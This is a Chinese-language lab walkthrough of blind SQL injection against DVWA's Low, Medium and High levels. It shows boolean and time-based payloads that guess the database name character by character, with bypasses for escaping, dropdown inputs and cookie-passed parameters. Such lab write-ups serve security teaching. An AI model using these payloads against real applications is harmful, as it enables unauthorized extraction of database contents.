SQL Injection(Blind),即SQL盲注,盲注时通常无法从显示页面上获取执行结果,甚至连注入语句是否执行都无看不出,目前存在较多的SQL注入均属于盲注,可分为布尔型和延时型两种。
- 判断是否存注入及注入类型
- 猜解库、表、字段及字段数据
Low后端源码查看,明显未对参数id进行任何检验及过滤,SQL注入
1.判断是否存在注入及注入类型
#1
返回User ID exists in the database.
#6
回显User ID is MISSING from the database.(不存在此id)
可知存在两种返回信息,及存在和不存在两种,存在盲注
比较#6-5和6’-’5比较返回信息
#6-5
回显User ID is MISSING from the database.(不存在此id)
#6’-’5
返回User ID exists in the database.可判断存在注入且为字符型注入
2.猜解库名
布尔型猜解
2.1 库长
#1' and length(database())>3 --
返回User ID exists in the database. Ture
#1' and length(database())>4 --
返回User ID exists in the database. False
及可判断库长为4
2.2 库名猜解
#1' and ascii(substr(database(),1,1))=100 --
返回User ID exists in the database. Ture
ascii(d)=100
可判断库名第一个字母为d
可利用burpsuite依次猜解即可,库名’dvwa’
同理表、字段均可自动化猜解
延时型猜解
2.3库长
#1’ and if(length(database())=4,sleep(5),1) --
出现明显延时
2.4库名
#1' and if(ascii(substr(database(),1,1))=100,sleep(5),1) --
同样出现明显延时,可猜解库名第一个为d
Medium级别的PHP代码利用mysql_real_escape_string函数对特殊符号
\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
下拉菜单:通过抓包修改传参
特殊符号转义:猜解具体制定参数时通过16进制编码绕过
1.判断是否存在注入及注入类型
#id=1 and 1=1 -- &Submit=Submit
返回User ID exists in the database.
#id=1 and 1=2 -- &Submit=Submit
回显User ID is MISSING from the database.(不存在此id)
可判断出存在SQL盲注且为数字型
2.猜解库名
2.1库长
布尔型方式:id=1 and length(database())=4 -- &Submit=Submit
延时型方式:id=1 and if(length(database())=4,sleep(5),1) -- &Submit=Submit
2.2库名:
布尔型方式:id=1 and ascii(substr(database(),1,1))=100 -- &Submit=Submit
延时型方式:id=1 and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- &Submit=Submit
#表、字段、数据均可依次猜解
查看PHP后端代码,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
Cookie传递id:抓包控制cookie_id值
LIMIT1: 注释 --
引用sleep函数:布尔型测试
1.判断是否存在注入及注入类型
# id=1' and 1=1 -- ; security=high; PHPSESSID=nthucufvoj6ua3joiut951gnf5
返回User ID exists in the database.
# id=1' and 1=2 -- ; security=high; PHPSESSID=nthucufvoj6ua3joiut951gnf5
回显User ID is MISSING from the database.(不存在此id)
可判断出存在SQL盲注且为字符型
2.猜解库名
2.1库长
布尔型方式:id=1’ and length(database())=4 -- ; security=high; PHPSESSID=nthucufvoj6ua3joiut951gnf5
2.2库名:
布尔型方式:id=1’ and ascii(substr(database(),1,1))=100 -- ; security=high; PHPSESSID=nthucufvoj6ua3joiut951gnf5
#表、字段、数据均可依次猜解